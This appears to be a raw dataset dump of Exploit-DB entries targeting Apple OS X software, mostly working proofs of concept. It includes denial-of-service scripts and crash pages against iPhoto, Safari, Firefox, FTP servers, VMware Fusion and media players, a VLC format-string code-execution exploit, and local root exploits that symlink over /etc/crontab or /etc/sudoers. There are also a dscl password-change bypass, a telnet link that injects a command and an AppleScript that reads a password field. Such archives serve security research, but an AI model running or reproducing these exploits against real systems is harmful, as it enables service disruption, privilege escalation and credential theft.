deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3080
Description: iLife iPhoto Photocast - XML Title Remote Format String (PoC)
Type: dos
Platform: osx
Date: 2007-01-04
Author: MoAB

Exploit:
#!/usr/bin/ruby
#
# (c) 2006 LMH <lmh [at] info-pull.com>
# bug by Kevin Finisterre <kf_lists [at] digitalmunition.com>
# proof of concept for MOAB-04-01-2007
# see http://projects.info-pull.com/moab/MOAB-04-01-2007.rb

require 'socket'

IPHOTO_FEED = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n" +
              "<rss version=\"2.0\" xmlns:aw=\"http://www.apple.com/ilife/wallpapers\">\r\n" +
              "<channel>\r\n" +
              "<title>" + ("A" * 256) + "%x.%n.%n.%n.%n.%n</title>\r\n" +
              "<item>\r\n" +
              "<title>In Gruber We Trust</title>\r\n" +
              "<aw:image>http://www.digitalmunition.com/digital_munitions_detonator.jpg\r\n" +
              "</aw:image>\r\n" +
              "</item>\r\n" +
              "</channel>\r\n" +
              "</rss>\r\n"

web_port    = (ARGV[0] || 80).to_i

puts "++ Starting fake HTTP server at port #{web_port}."
web_server  = TCPServer.new(nil, web_port)
while (session = web_server.accept)
  user_agent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0]
  session.print "HTTP/1.1 200/OK\r\nServer: Unabomber/1.0\r\n"
  
  # Check if remote user-agent is iPhoto.
  if user_agent.scan(/iPhoto/).size < 1
    puts "-- User connected (#{session.peeraddr[3]}) but not running iPhoto, sending bullshit."
    session.print "Content-type: text/plain\r\n\r\n"
    session.print "All your Aunt Sophia are belong to us."
  else
    puts "++ iPhoto #{user_agent.scan(/iPhoto\/(.+?) /)[0]} user connected (#{session.peeraddr[3]}), " +
         "sending payload (#{IPHOTO_FEED.size} bytes)."
    session.print "Content-type: text/xml\r\n\r\n"
    session.print IPHOTO_FEED
  end

  session.close
end

# milw0rm.com [2007-01-04]
Exploit-DB #20845
Description: Maxum Rumpus FTP Server 1.3.2/1.3.4/2.0.3 dev - Remote Denial of Service
Type: dos
Platform: osx
Date: 2001-05-15
Author: Jass Seljamaa

Exploit:
source: https://www.securityfocus.com/bid/2716/info

Rumpus FTP Server is an implementation for MacOS which allows file-sharing across TCP/IP connections.

It is possible to log in remotely to the server and shut down the service by making a directory with a name that is 65 characters long. Users must be authenticated to engage this attack. 

ftp host

user anonymous
pass anonymous

mkdir
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa
Exploit-DB #26292
Description: Microsoft Internet Explorer 5.2.3 for Mac OS - Denial of Service
Type: dos
Platform: osx
Date: 2005-08-22
Author: Mella Marco

Exploit:
source: https://www.securityfocus.com/bid/14899/info

Microsoft Internet Explorer for Mac OS is prone to a denial of service vulnerability. This issue occurs when Internet Explorer attempts to render a Web page with malformed content.

This vulnerability exists in Internet Explorer 5.2.3 for Mac OS. 

<HTML> <HEAD>
<TABLE
><BGSOUND
about:file"" SRC=about:""
>
Exploit-DB #12508
Description: Multiple Browsers - 'history.go()' Denial of Service
Type: dos
Platform: osx
Date: 2010-05-04
Author: Dr_IDE

Exploit:
<--
Camino 2.0.2 history.go() DoS
Found By:   Dr_IDE
Tested On:  Camino 2.0.2 on OSX 10.6.3
Notes:      Impact is reduced because user must either have popup blocker off, or accept popups.

Tested On:  Safari 4.0.5 on OSX 10.6.3
Notes:      Impact is reduced because user must either have popup blocker off, or accept popups.
-->

<html>
<title>Dr_IDE - Camino 2.0.2 & Safari 4.0.5 DoS PoC</title>
<script>
function test(){
window.onerror=new Function("history.go(-1)");
window.open('http://www.exploit-db.com');
test();
}

test();
</script>
</html>
Exploit-DB #12509
Description: Multiple Browsers - 'window.print()' Denial of Service
Type: dos
Platform: osx
Date: 2010-05-04
Author: Dr_IDE

Exploit:
<--
Firefox 3.6.3 window.print() DoS version 2
Found By:   Dr_IDE
Credits:    Asheesh kumar Mani Tripathi
Reference:  http://www.exploit-db.com/exploits/11432
Tested On:  Firefox 3.6.3 on OSX 10.6.3; Safari 4.0.5 on OSX 10.6.3
Tested On:
-->

<html>
<title>Dr_IDE Firefox 3.6.3 & Safari 4.0.5 window.print() DoS</title>
<script>
function test(){
window.onerror=new Function(history.go(window.open(window.print())));
}

test();
</script>
</html>
Exploit-DB #21234
Description: Netopia Timbuktu Pro for Macintosh 6.0.1 - Denial of Service
Type: dos
Platform: osx
Date: 2002-01-18
Author: Tekno pHReak

Exploit:
source: https://www.securityfocus.com/bid/3918/info

Timbuktu is a remote administration tool. It is available for the Microsoft Window's family of operating systems and Power PC based Macintosh computers. It supports a variety of administrative tasks, including full remote access to the user's desktop.

A vulnerability exists in some versions of Timbuktu. If a large number of connections are created to the Timbuktu server, the server will no longer accept new connections. 

#!/bin/sh
while:
do
telnet tb2.host.com 1417 &
done
Exploit-DB #3098
Description: OmniWeb 5.5.1 - JavaScript alert() Remote Format String (PoC)
Type: dos
Platform: osx
Date: 2007-01-07
Author: MoAB

Exploit:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
	<head>
		<title>MOAB-07-01-2007</title>
		<script>
			/* LMH */
			function boom() {
				var str = 'A';
				while (str.length <= 32) str+=str;
				str = str + '%n%n%n%n%n%n';
				alert(str);
			}
		</script>
	</head>
	<body>
		<input type="button" onclick="boom();" value="Test MOAB-07-01-2007" />
	</body>

</html>

# milw0rm.com [2007-01-07]
Exploit-DB #20922
Description: Rumpus FTP Server 1.3.x/2.0.3 - Stack Overflow Denial of Service
Type: dos
Platform: osx
Date: 2001-06-12
Author: Jass Seljamaa

Exploit:
source: https://www.securityfocus.com/bid/2864/info

Rumpus FTP Server is an implementation for MacOS which allows file-sharing across TCP/IP connections.

Rumpus FTP is prone to a denial of service. An ftp user can engage the attack by making a directory with an unusual number of sub-folders. This forces the software to quit, as it is unable to handle the creation of so many directories at one time. The FTP server must be rebooted to regain normal functionality.

It is required that a user be logged in to carry out this attack. It may be possible for remote users to exploit this vulnerability, but authentication is required and anonymous ftp access does not grant users the privileges neccesary to create directories. 

Executing command 'mkdir A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A' will make Rumpus quit.
Exploit-DB #29535
Description: Telestream Flip4Mac - 'WMV' File Remote Memory Corruption
Type: dos
Platform: osx
Date: 2007-01-27
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/22286/info

Flip4Mac is prone to a remote memory-corruption vulnerability.

Flip4Mac is prone to a remote memory-corruption vulnerability because the application fails to properly handle malformed WMV files.

An attacker can exploit this issue to execute arbitrary code within the context of the application or to trigger a denial-of-service condition.

Flip4Mac Windows Media Components for QuickTime version 2.1.0.33 is reported vulnerable; other versions may be affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29535.wmv
Exploit-DB #40570
Description: The Unarchiver 3.11.1 - '.tar.Z' Crash (PoC)
Type: dos
Platform: osx
Date: 2016-10-18
Author: Antonio Z.

Exploit:
# Exploit Title: The Unarchiver 3.11.1 '.tar.Z' Local Crash PoC
# Date: 10-17-2016
# Exploit Author: Antonio Z.
# Vendor Homepage: http://unarchiver.c3.cx/unarchiver
# Software Link: http://unarchiver.c3.cx/downloads/TheUnarchiver3.11.1.zip
# Version: 3.11.1
# Tested on: OS X 10.10, OS X 10.11, OS X 10.12

# More information: https://opensource.apple.com/source/gnuzip/gnuzip-11/gzip/lzw.h

import os, struct, sys
from mmap import mmap

if len(sys.argv) <= 1:
    print "Usage: python Local_Crash_PoC.py [file name]"
    exit()

file_name = sys.argv[1]
file_mod = open(file_name, 'r+b')
file_hash = file_mod.read()

def get_extension(file_name):
    basename = os.path.basename(file_name)
    extension = '.'.join(basename.split('.')[1:])
    return '.' + extension if extension else None

def file_maping():
    maping = mmap(file_mod.fileno(),0)
    maping.seek(2)
    maping.write_byte(struct.pack('B', 255))
    maping.close()
    
new_file_name = "Local_Crash_PoC" + get_extension(file_name)
    
os.popen('cp ' + file_name + ' ' + new_file_name)
file_mod = open(new_file_name, 'r+b')
file_maping()
file_mod.close()
print '[+] ' + 'Created file: ' + new_file_name
Exploit-DB #3160
Description: Transmit.app 3.5.5 - 'ftps://' URL Handler Heap Buffer Overflow (PoC)
Type: dos
Platform: osx
Date: 2007-01-20
Author: MoAB

Exploit:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
	<head>
		<title>MOAB-19-01-2007</title>
		<script>
			function boom() {
			    var recipient = document.getElementById('testbox');
				var str = '';
				for (var i = 0; i < 408; i++) {
				    str = str + 'A'
				}
				str = str + 'ABCD';
				
				alert('Payload size: ' + str.length);
				
				str = "ftps://" + str;
				ftarget = document.createElement('iframe');
				ftarget.src = str;
				ftarget.width = 1;
				ftarget.height = 1;
				recipient.appendChild(ftarget);
			}
		</script>
	</head>
	<body>
	    <div id="testbox" style="display: none;"></div>
		<input type="button" onclick="boom();" value="Test MOAB-19-01-2007" />

	</body>
</html>

# milw0rm.com [2007-01-20]
Exploit-DB #3069
Description: VideoLAN VLC Media Player 0.8.6 (PPC) - 'udp://' Format String (PoC)
Type: dos
Platform: osx
Date: 2007-01-02
Author: MoAB

Exploit:
#!/usr/bin/perl
#
# http://www.digitalmunition.com/VLCMediaSlayer-ppc.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This is just a vanilla format string exploit for OSX on ppc. We overwrite a saved return addy with our shellcode address.
# This code currently overwrites the saved return addy with the stack location of our shellcode.
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
#

# 0xf02031d2:      "--? 0j? 0h%11$hn.%12$hn", 'X' <repeats 177 times>...
# 0xf020329a:      'X' <repeats 200 times>...
# 0xf0203362:      'X' <repeats 200 times>...
# 0xf020342a:      'X' <repeats 200 times>...
# 0xf02034f2:      'X' <repeats 194 times>, "ZY"
# 0xf02035b7:      ""
# 0xf02035b8:      'X' <repeats 16 times>, "? 5?\005\017G?? 60"
# 0xf02035d5:      ""
# 0xf02035d6:      ""
# 0xf02035d7:      "\004\005\016

$format =
# make it more robust yourself... I'm lazy
# land in 0xf020 3362 - middle of shellcode
# "%2511%24hn.%2512%24hn" .
#
"%25" . (0x3362-0x24) . "d" . "%25" . "11" . "%24" . "hn" .
"%25" . 0xBCBE . "d" . "%25" . "12" . "%24" . "hn" ;

# 0xf020 3068 saved ret for MsgQueue()
$writeaddr = 0xf0203068;

open(PWNED,">pwnage.m3u");

print PWNED "#EXTM3U\n" ."udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) .
$format ."i" x (999 - length("Can't get file status for ") ) ."\n";

close(PWNED);

# milw0rm.com [2007-01-02]
Exploit-DB #10078
Description: VMware Fusion 2.0.5 - vmx86 kext Local Buffer Overflow (PoC)
Type: dos
Platform: osx
Date: 2009-10-02
Author: mu-b

Exploit:
/* vmware-pop.c
 *
 * Copyright (c) 2009 by <mu-b@digit-labs.org>
 *
 * VMware Fusion <= 2.0.5 vmx86 kext local denial of service POC
 * by mu-b - Mon 22 June 2009
 *
 * - Tested on: VMware Fusion 2.0.4 (10.5.x)
 *              VMware Fusion 2.0.5 (10.5.x)
 *
 * http://seclists.org/fulldisclosure/2009/Oct/29
 * http://lists.vmware.com/pipermail/security-announce/2009/000066.html
 *
 * - this exploit is provided for educational purposes _only_. You are free
 *   to use this code in any way you wish provided you do not work for, or
 *   are associated in any way with Portcullis Computer Security Ltd.
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define VMX86_IOCTL       0x80045643

struct ioctl_req {
  struct ioctl_req_buf *uaddr;
};

struct ioctl_req_buf {
  char pad[0x8];
  int len;
  char _pad[0xC];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  struct ioctl_req_buf buf;
  int fd, r;

  printf ("VMware Fusion <= 2.0.5 vmx86 kext local kernel denial of service PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");

  fd = open ("/dev/vmmon", O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "%s: open failed\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);
  req.uaddr = &buf;

  memset (&buf, 0x41, sizeof buf);
  buf.len = 0xAAAAAAA;

  printf ("* hitting...\n");
  while (1)
    r = ioctl (fd, VMX86_IOCTL, &req);

  /* not reachable!$%! */
  return (EXIT_SUCCESS);
}
Exploit-DB #40524
Description: VOX Music Player 2.8.8 - '.pls' Denial of Service
Type: dos
Platform: osx
Date: 2016-10-13
Author: Antonio Z.

Exploit:
# Exploit Title: VOX Music Player 2.8.8 '.pls' Local Crash PoC
# Date: 10-12-2016
# Exploit Author: Antonio Z.
# Vendor Homepage: http://coppertino.com/vox/mac/
# Software Link: http://dl.devmate.com/com.coppertino.Vox/Vox.dmg
# Version: 2.8.8
# Tested on: OS X 10.10, OS X 10.11, OS X 10.12

import os

evil = '\x90'
pls = '[playlist]\n' + 'NumberOfEntries=1\n' +'File1' + evil + '\n' + 'Title1=\n' + 'Length1=-1\n'

file = open('Local_Crash_PoC.pls', 'wb')
file.write(pls)
file.close()
Exploit-DB #1185
Description: Adobe Version Cue 1.0/1.0.1 (OSX) - Local Privilege Escalation
Type: local
Platform: osx
Date: 2005-08-30
Author: vade79

Exploit:
#!/usr/bin/perl
#
# Adobe Version Cue VCNative[OSX]: local root exploit.
# 
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
# 
# Adobe Version Cue's VCNative program writes data to a log file in
# the current working directory while running as (setuid) root. the
# logfile is formated as <cwd>/VCNative-<pid>.log, which is easily
# predictable. you may link this file to any file on the system
# and overwrite its contents. use of the "-host" option (with
# "-port") will allow user-supplied data to be injected into the
# file.
#
# This exploit works by overwriting /etc/crontab with
# '* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers' and
# log garbage. within a short period of time crontab will overwrite
# /etc/sudoers and "sudo sh" to root is possible. this method is used
# because direct overwriting of /etc/sudoers will cause sudo to exit
# with configuration errors due to the log garbage, whereas crontab
# will ignore it. (this exploit requires both cron to be running and
# sudo to exist--this is generally default osx)

use POSIX;

$vcn_path="/Applications/Adobe Version Cue/tomcat/webapps/ROOT/" .
"WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative";
$vcn_pid=($$ + 1);
$vcn_cwd="/tmp";
$vcn_tempfile="$vcn_cwd/VCNative-$vcn_pid\.log";
$ovrfile="/etc/crontab";
$ovrstr="* * * * * root echo \\\"ALL ALL=(ALL) ALL\\\">/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}
print("[*] Adobe Version Cue VCNative[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
if(!-f $vcn_path){
pexit("VCNative binary doesn't appear to exist");
}
if(!-f"/etc/crontab"||!-f"/etc/sudoers"){
pexit("/etc/crontab and /etc/sudoers are required for this to work");
}
print("[*] sym-linking $ovrfile -> $vcn_tempfile.\n");
symlink($ovrfile,$vcn_tempfile)||pexit("couldn't link files.");
@ast=stat($ovrfile);
print("[*] running VCNative...\n");
system("\"$vcn_path\" -cwd $vcn_cwd -port 1 -host \"\n\n$ovrstr\n\n\"");
print("[*] removing $vcn_tempfile...\n");
unlink($vcn_tempfile);
@st=stat($ovrfile);
if($st[7]==$ast[7]&&$st[9]==$ast[9]){
pexit("$ovrfile was not modified, exploit failed");
}
else{
print("[*] $ovrfile was overwritten successfully...\n");
}
print("[*] waiting for crontab to change /etc/sudoers...\n");
@ast=@st=stat("/etc/sudoers");
while($st[7]==$ast[7]&&$st[9]==$ast[9]){
sleep(1);
@ast=stat("/etc/sudoers");
}
print("[*] /etc/sudoers has been modified.\n");
print("[*] attempting to \"sudo sh\". (use YOUR password)\n");
system("sudo sh");
exit(0);

# milw0rm.com [2005-08-30]
Exploit-DB #29950
Description: Apple 2.0.4 - Safari Local Cross-Site Scripting
Type: local
Platform: osx
Date: 2007-05-04
Author: poplix

Exploit:
source: https://www.securityfocus.com/bid/23825/info

Apple Safari is prone to an unspecified local vulnerability.

tell application "Safari"
        do JavaScript "alert(document.loginform.password.value)" in document 1
end tell
Exploit-DB #19427
Description: Apple At Ease 5.0 - Information Disclosure
Type: local
Platform: osx
Date: 1999-05-13
Author: Tim Conrad

Exploit:
source: https://www.securityfocus.com/bid/531/info

At Ease 5.0 will allow a user to access any user's volume on the server through a web browser.

The tested configuration is as follows:

MacOS 7.6.1 (should work with anything greater than 7)
At Ease 5.0.2
AppleShare IP 5.0.3
Netscape 4.0.7 (No reason it shouldn't work from .99 to 4.5)

Log in as any user that has access to Netscape Communicator, and type in
f i l e://Macintosh%20HD/System%20Folder/
and you are able to access the disk.

Do the same thing, except use
f i l e://At%20Ease%20Volume%20Name/At%20Ease%20%Docs/username
and it's quite easy to browse through anyones files.

It is possible to download files from that users directory. I have been unable to actually open any of the files once they are downloaded, however in an educational setting, just viewing names in a certian directory could constitute some serious problems (such as if a teacher works with Special Education studends, and has a list of documents to their parents).
Exploit-DB #36143
Description: Apple Mac OSX (Lion) - Directory Services Security Bypass
Type: local
Platform: osx
Date: 2011-09-19
Author: Defence in Depth

Exploit:
source: https://www.securityfocus.com/bid/49676/info

Apple Mac OS X Lion is prone to multiple security-bypass vulnerabilities.

Local attackers can exploit these issues to obtain sensitive information or change the password of other users on the computer, without sufficient privileges. 

$ dscl localhost -read /Search/Users/bob

$ dscl localhost -passwd /Search/Users/<username>
Exploit-DB #1545
Description: Apple Mac OSX - '/usr/bin/passwd' Custom Passwd Privilege Escalation
Type: local
Platform: osx
Date: 2006-03-01
Author: vade79

Exploit:
#!/usr/bin/perl
#
# /usr/bin/passwd[OSX]: local root exploit.
# 
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
# 
# (Apple) OSX's /usr/bin/passwd program has support for a custom
# passwd file to be used instead of the standard/static path.  this
# feature has security issues in the form of editable file(s) being
# made anywheres on the disk and also writing arbitrary data to files.
#
# the first issue will only work if the file does not already exist,
# it is done using "umask 0;/usr/bin/passwd -i file -l <filename>".
# the second issue is once a successful password change has occured
# /usr/bin/passwd will insecurely re-write the passwd file to
# /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of
# your choice. (this exploits the second issue to overwrite 
# /etc/sudoers)
#
# (for some reason this took apple 6 or so months to patch)

use POSIX;

$fake_passwd="/tmp/xpasswd.$$";
$passwd_pid=($$ + 1);
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";
$sudoers="/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}
print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
unlink($fake_passwd);
print("[*] making fake password file. ($fake_passwd)\n");
open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd");
# uid must equal the current user.
print(FP "ALL ALL=(ALL) ALL #::" . getuid . ":" . getuid . "::" .
getuid . ":" . getuid . "::/:/\n");
close(FP);
print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");
symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files.");
print("[*] running /usr/bin/passwd on $fake_passwd.\n");
print("[*] (use ANY password longer than 4 characters)\n\n");
system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\"");
print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n");
system("/usr/bin/sudo sh");
exit(0);

# milw0rm.com [2006-03-01]
Exploit-DB #39147
Description: Apple Mac OSX - Local Security Bypass
Type: local
Platform: osx
Date: 2014-04-22
Author: Ian Beer

Exploit:
// source: https://www.securityfocus.com/bid/67023/info

Apple Mac OS X is prone to a local security-bypass vulnerability.

Attackers can exploit this issue to bypass certain security restrictions and perform unauthorized actions.

Apple Mac OS X 10.9.2 is vulnerable; other versions may also be affected. 

#include <stdio.h>
#include <strings.h>
#include <sys/shm.h>

int main(int argc, char *argv[])
{
  int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );

  if (shm < 0)
    {
      printf("shmget: failed");
      return 6;
    }

  struct shmid_ds lolz;

  int res = shmctl( shm, IPC_STAT, &lolz );
  if (res < 0)
    {
      printf("shmctl: failed");
      return 1;
    }

  printf( "%p\n", lolz.shm_internal );

}
Exploit-DB #37825
Description: Apple Mac OSX 10.10.5 - 'XNU' Local Privilege Escalation
Type: local
Platform: osx
Date: 2015-08-18
Author: kpwn

Exploit:
Source: https://github.com/kpwn/tpwn

tpwn

cve-2015-???? poc ~ os x 10.10.5 kernel local privilege escalation

vulnerability got burned in 10.11

full writeup #eta#son

shout out @ unthreadedjb 4 hax

Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37825.zip
Exploit-DB #21815
Description: Apple Mac OSX 10.2 - Terminal.APP Telnet Link Command Execution
Type: local
Platform: osx
Date: 2002-09-21
Author: Taiyo Fujii

Exploit:
source: https://www.securityfocus.com/bid/5768/info

Mac OS X is the BSD-based operating system distributed and maintained by Apple.

It has been discovered that some types of links, when clicked on, may result in the execution of arbitrary commands. Due to the improper handling of some links, a user clicking on a link containing special characters and embedded commands could cause the execution of the commands in the link to be carried out in a terminal.app window. These commands would be executed in the security context of the user.

telnet://|ls -la